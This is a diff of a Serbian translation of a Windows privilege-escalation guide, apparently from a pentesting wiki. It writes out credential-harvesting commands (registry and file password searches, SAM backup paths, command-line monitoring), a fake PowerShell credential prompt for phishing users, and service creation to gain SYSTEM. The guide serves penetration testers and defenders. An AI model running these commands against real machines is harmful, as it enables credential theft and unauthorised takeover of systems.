Ljudi često koriste aplikaciju StickyNotes na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to datoteka baze podataka. Ova datoteka se nalazi na `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi pretražiti i ispitati.
|
||||
Ljudi često koriste aplikaciju StickyNotes na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to fajl baze podataka. Ovaj fajl se nalazi na `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi pretražiti i ispitati.
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
**Napomena da da biste povratili lozinke iz AppCmd.exe morate biti Administrator i raditi pod visokim integritetom.**\
|
||||
**AppCmd.exe** se nalazi u `%systemroot%\system32\inetsrv\` direktorijumu.\
|
||||
Ako ova datoteka postoji, moguće je da su neka **akreditivna** podešavanja konfigurisana i mogu se **povratiti**.
|
||||
Ako ovaj fajl postoji, moguće je da su neka **akreditivna** podešavanja konfigurisana i mogu se **povratiti**.
|
||||
|
||||
Ovaj kod je izvučen iz [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
```bash
|
||||
@ -884,7 +886,7 @@ $ErrorActionPreference = $OrigError
|
||||
### SCClient / SCCM
|
||||
|
||||
Proverite da li `C:\Windows\CCM\SCClient.exe` postoji.\
|
||||
Instalateri se **izvršavaju sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
Instalateri se **izvršavaju sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Informacije iz** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
@ -892,7 +894,7 @@ else { Write "Not Installed." }
|
||||
```
|
||||
## Datoteke i Registry (Akreditivi)
|
||||
|
||||
### Putty Akreditivi
|
||||
### Putty akreditivi
|
||||
```bash
|
||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||||
```
|
||||
@ -950,7 +952,7 @@ Možete takođe pretraživati ove datoteke koristeći **metasploit**: _post/wind
|
||||
</LocalAccounts>
|
||||
</UserAccounts>
|
||||
```
|
||||
### SAM & SYSTEM rezervne kopije
|
||||
### SAM & SYSTEM backupi
|
||||
```bash
|
||||
# Usually %SYSTEMROOT% = C:\Windows
|
||||
%SYSTEMROOT%\repair\SAM
|
||||
@ -978,7 +980,7 @@ Potražite datoteku pod nazivom **SiteList.xml**
|
||||
|
||||
Funkcija koja je ranije bila dostupna omogućila je implementaciju prilagođenih lokalnih administratorskih naloga na grupi mašina putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne sigurnosne nedostatke. Prvo, Group Policy Objects (GPOs), smešteni kao XML datoteke u SYSVOL, mogli su biti dostupni bilo kojem korisniku domena. Drugo, lozinke unutar ovih GPP-a, šifrovane sa AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije.
|
||||
|
||||
Da bi se umanjio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP datoteke koje sadrže "cpassword" polje koje nije prazno. Kada pronađe takvu datoteku, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji datoteke, pomažući u identifikaciji i otklanjanju ove sigurnosne ranjivosti.
|
||||
Da bi se umanjio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP datoteke koje sadrže "cpassword" polje koje nije prazno. Kada se pronađe takva datoteka, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji datoteke, pomažući u identifikaciji i otklanjanju ove sigurnosne ranjivosti.
|
||||
|
||||
Pretražujte u `C:\ProgramData\Microsoft\Group Policy\history` ili u _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (pre W Vista)_ za ove datoteke:
|
||||
|
||||
@ -1042,7 +1044,7 @@ $entropy,
|
||||
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
|
||||
}
|
||||
```
|
||||
### Logovi
|
||||
### Логови
|
||||
```bash
|
||||
# IIS
|
||||
C:\inetpub\logs\LogFiles\*
|
||||
@ -1052,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Ask for credentials
|
||||
|
||||
Možete uvek **tražiti od korisnika da unese svoje akreditive ili čak akreditive drugog korisnika** ako mislite da ih može znati (imajte na umu da je **traženje** od klijenta direktno za **akreditive** zaista **rizično**):
|
||||
Možete uvek **zamoliti korisnika da unese svoje akreditive ili čak akreditive drugog korisnika** ako mislite da ih može znati (imajte na umu da je **traženje** od klijenta direktno za **akreditive** zaista **rizično**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1155,7 +1157,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
### Istorija pregledača
|
||||
|
||||
Trebalo bi da proverite baze podataka gde su sačuvane lozinke iz **Chrome ili Firefox**.\
|
||||
Takođe proverite istoriju, obeleživače i favorite pregledača, možda su neke **lozinke** sačuvane tamo.
|
||||
Takođe proverite istoriju, obeleživače i omiljene stavke pregledača, možda su neke **lozinke** sačuvane tamo.
|
||||
|
||||
Alati za izvlačenje lozinki iz pregledača:
|
||||
|
||||
@ -1166,7 +1168,7 @@ Alati za izvlačenje lozinki iz pregledača:
|
||||
|
||||
### **Prepisivanje COM DLL-a**
|
||||
|
||||
**Component Object Model (COM)** je tehnologija ugrađena u Windows operativni sistem koja omogućava **međusobnu komunikaciju** između softverskih komponenti različitih jezika. Svaka COM komponenta je **identifikovana putem ID-a klase (CLSID)**, a svaka komponenta izlaže funkcionalnost putem jednog ili više interfejsa, identifikovanih putem ID-a interfejsa (IIDs).
|
||||
**Component Object Model (COM)** je tehnologija ugrađena u Windows operativni sistem koja omogućava **međusobnu komunikaciju** između softverskih komponenti različitih jezika. Svaka COM komponenta je **identifikovana putem ID-a klase (CLSID)**, a svaka komponenta izlaže funkcionalnost putem jednog ili više interfejsa, identifikovanih putem ID-ova interfejsa (IIDs).
|
||||
|
||||
COM klase i interfejsi su definisani u registru pod **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** i **HKEY\_**_**CLASSES\_**_**ROOT\Interface**. Ovaj registar se kreira spajanjem **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
@ -1190,7 +1192,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||||
findstr /si password *.xml *.ini *.txt *.config
|
||||
findstr /spin "password" *.*
|
||||
```
|
||||
**Pretražite datoteku sa određenim imenom**
|
||||
**Pretražite datoteku sa određenim imenom datoteke**
|
||||
```bash
|
||||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||
where /R C:\ user.txt
|
||||
@ -1205,8 +1207,8 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
```
|
||||
### Alati koji traže lozinke
|
||||
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** plugin koji sam kreirao da **automatski izvrši svaki metasploit POST modul koji traži kredencijale** unutar žrtve.\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski traži sve datoteke koje sadrže lozinke navedene na ovoj stranici.\
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** dodatak koji sam kreirao da **automatski izvrši svaki metasploit POST modul koji traži kredencijale** unutar žrtve.\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski pretražuje sve datoteke koje sadrže lozinke navedene na ovoj stranici.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) je još jedan sjajan alat za ekstrakciju lozinki iz sistema.
|
||||
|
||||
Alat [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) traži **sesije**, **korisnička imena** i **lozinke** nekoliko alata koji čuvaju ove podatke u čistom tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
|
||||
@ -1219,7 +1221,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Leaked Handlers
|
||||
|
||||
Zamislite da **proces koji se izvršava kao SYSTEM otvara novi proces** (`OpenProcess()`) sa **potpunim pristupom**. Isti proces **takođe kreira novi proces** (`CreateProcess()`) **sa niskim privilegijama, ali nasleđuje sve otvorene handle-ove glavnog procesa**.\
|
||||
Tada, ako imate **potpun pristup niskopravnom procesu**, možete uhvatiti **otvoreni handle za privilegovani proces kreiran** sa `OpenProcess()` i **ubaciti shellcode**.\
|
||||
Tada, ako imate **potpun pristup procesu sa niskim privilegijama**, možete uhvatiti **otvoreni handle za privilegovani proces kreiran** sa `OpenProcess()` i **ubaciti shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1229,7 +1231,7 @@ Deljeni memorijski segmenti, poznati kao **cevi**, omogućavaju komunikaciju izm
|
||||
|
||||
Windows pruža funkciju pod nazivom **Named Pipes**, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na arhitekturu klijent/server, sa ulogama definisanim kao **named pipe server** i **named pipe client**.
|
||||
|
||||
Kada se podaci šalju kroz cev od strane **klijenta**, **server** koji je postavio cev ima mogućnost da **preuzme identitet** **klijenta**, pod uslovom da ima potrebna **SeImpersonate** prava. Identifikovanje **privilegovanog procesa** koji komunicira putem cevi koju možete imitirati pruža priliku da **dobijete više privilegije** preuzimanjem identiteta tog procesa kada se interaguje sa cevkom koju ste uspostavili. Za uputstva o izvršavanju takvog napada, korisni vodiči se mogu naći [**here**](named-pipe-client-impersonation.md) i [**here**](#from-high-integrity-to-system).
|
||||
Kada klijent šalje podatke kroz cev, **server** koji je postavio cev ima mogućnost da **preuzme identitet** **klijenta**, pod uslovom da ima potrebna **SeImpersonate** prava. Identifikovanje **privilegovanog procesa** koji komunicira putem cevi koju možete imitirati pruža priliku da **dobijete više privilegije** preuzimanjem identiteta tog procesa kada on interaguje sa cevkom koju ste postavili. Za uputstva o izvršavanju takvog napada, korisni vodiči se mogu naći [**here**](named-pipe-client-impersonation.md) i [**here**](#from-high-integrity-to-system).
|
||||
|
||||
Takođe, sledeći alat omogućava **presretanje komunikacije preko named pipe-a sa alatom kao što je burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **i ovaj alat omogućava da se prikažu i vide sve cevi kako bi se pronašli privesci** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1237,7 +1239,7 @@ Takođe, sledeći alat omogućava **presretanje komunikacije preko named pipe-a
|
||||
|
||||
### **Monitoring Command Lines for passwords**
|
||||
|
||||
Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i **prolaze kredencijale putem komandne linije**. Skripta ispod hvata komandne linije procesa svake dve sekunde i upoređuje trenutnu situaciju sa prethodnom, prikazujući sve razlike.
|
||||
Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i **prolaze kredencijale preko komandne linije**. Skripta ispod hvata komandne linije procesa svake dve sekunde i upoređuje trenutnu situaciju sa prethodnom, prikazujući sve razlike.
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1299,25 +1301,25 @@ Imate sve potrebne datoteke i informacije u sledećem GitHub repozitorijumu:
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## Od Administrator Medium do High Integrity Level / UAC Bypass
|
||||
## Od Administratorskog Srednjeg do Visokog Integriteta / UAC Obilaženje
|
||||
|
||||
Pročitajte ovo da **naučite o Integrity Levels**:
|
||||
Pročitajte ovo da **naučite o Integritetskim Nivima**:
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Zatim **pročitajte ovo da naučite o UAC i UAC bypasses:**
|
||||
Zatim **pročitajte ovo da naučite o UAC-u i UAC obilaženjima:**
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## **Od High Integrity do System**
|
||||
## **Od Visokog Integriteta do Sistema**
|
||||
|
||||
### **Nova usluga**
|
||||
|
||||
Ako već radite na High Integrity procesu, **prelazak na SYSTEM** može biti lak samo **kreiranjem i izvršavanjem nove usluge**:
|
||||
Ako već radite na procesu sa Visokim Integritetom, **prelazak na SYSTEM** može biti lak samo **kreiranjem i izvršavanjem nove usluge**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1333,20 +1335,20 @@ Iz procesa visokog integriteta možete pokušati da **omogućite AlwaysInstallEl
|
||||
|
||||
### Od SeDebug + SeImpersonate do punih Token privilegija
|
||||
|
||||
Ako imate te token privilegije (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo bilo koji proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
|
||||
Korišćenje ove tehnike obično **izabire bilo koji proces koji se izvršava kao SYSTEM sa svim token privilegijama** (_da, možete pronaći SYSTEM procese bez svih token privilegija_).\
|
||||
Ako imate te privilegije tokena (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo bilo koji proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
|
||||
Korišćenje ove tehnike obično **izabere bilo koji proces koji se izvršava kao SYSTEM sa svim privilegijama tokena** (_da, možete pronaći SYSTEM procese bez svih privilegija tokena_).\
|
||||
**Možete pronaći** [**primer koda koji izvršava predloženu tehniku ovde**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja cevi i zatim kreiranja/zloupotrebe usluge za pisanje na tu cev**. Tada će **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju moći da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
|
||||
Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja cevi i zatim kreiranja/zloupotrebe usluge za pisanje na tu cev**. Zatim, **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju će moći da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
|
||||
Ako želite da [**saznate više o named pipes, trebate pročitati ovo**](#named-pipe-client-impersonation).\
|
||||
Ako želite da pročitate primer [**kako preći sa visokog integriteta na System koristeći named pipes, trebate pročitati ovo**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Ako uspete da **otmete dll** koji se **učitava** od strane **procesa** koji se izvršava kao **SYSTEM**, moći ćete da izvršite proizvoljan kod sa tim dozvolama. Stoga je Dll Hijacking takođe koristan za ovu vrstu eskalacije privilegija, a, osim toga, daleko je **lakše postići iz procesa visokog integriteta** jer će imati **dozvole za pisanje** na folderima koji se koriste za učitavanje dll-ova.\
|
||||
**Možete** [**saznati više o Dll hijacking ovde**](dll-hijacking/index.html)**.**
|
||||
Ako uspete da **zauzmete dll** koji se **učitava** od strane **procesa** koji se izvršava kao **SYSTEM**, moći ćete da izvršite proizvoljan kod sa tim dozvolama. Stoga je Dll Hijacking takođe koristan za ovu vrstu eskalacije privilegija, a, osim toga, daleko je **lakše postići iz procesa visokog integriteta** jer će imati **dozvole za pisanje** na folderima koji se koriste za učitavanje dll-ova.\
|
||||
**Možete** [**saznati više o Dll hijacking-u ovde**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **Od Administratora ili Mrežne Usluge do System**
|
||||
|
||||
@ -1378,14 +1380,14 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh je PowerShell ADIDNS/LLMNR/mDNS/NBNS lažnjak i alat za napad "čovek u sredini".**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Osnovna privesc Windows enumeracija**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Pretražuje poznate privesc ranjivosti (DEPRECATED za Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Potrebna su administratorska prava)**
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Potrebna su admin prava)**
|
||||
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Pretražuje poznate privesc ranjivosti (mora se kompajlirati koristeći VisualStudio) ([**prekompajlirano**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerira host tražeći pogrešne konfiguracije (više alat za prikupljanje informacija nego privesc) (mora se kompajlirati) **(**[**prekompajlirano**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstrahuje kredencijale iz mnogih softvera (prekompajlirani exe na github-u)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp-a na C#**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp-a u C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Proverite za pogrešnu konfiguraciju (izvršni fajl prekompajliran na github-u). Nije preporučeno. Ne radi dobro na Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Proverite za moguće pogrešne konfiguracije (exe iz python-a). Nije preporučeno. Ne radi dobro na Win10.
|
||||
|
||||
@ -1393,7 +1395,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Alat kreiran na osnovu ovog posta (ne zahteva accesschk da bi pravilno radio, ali može ga koristiti).
|
||||
|
||||
**Lokalno**
|
||||
**Local**
|
||||
|
||||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Čita izlaz **systeminfo** i preporučuje funkcionalne eksploite (lokalni python)\
|
||||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Čita izlaz **systeminfo** i preporučuje funkcionalne eksploite (lokalni python)
|
||||
|
Loading…
x
Reference in New Issue
Block a user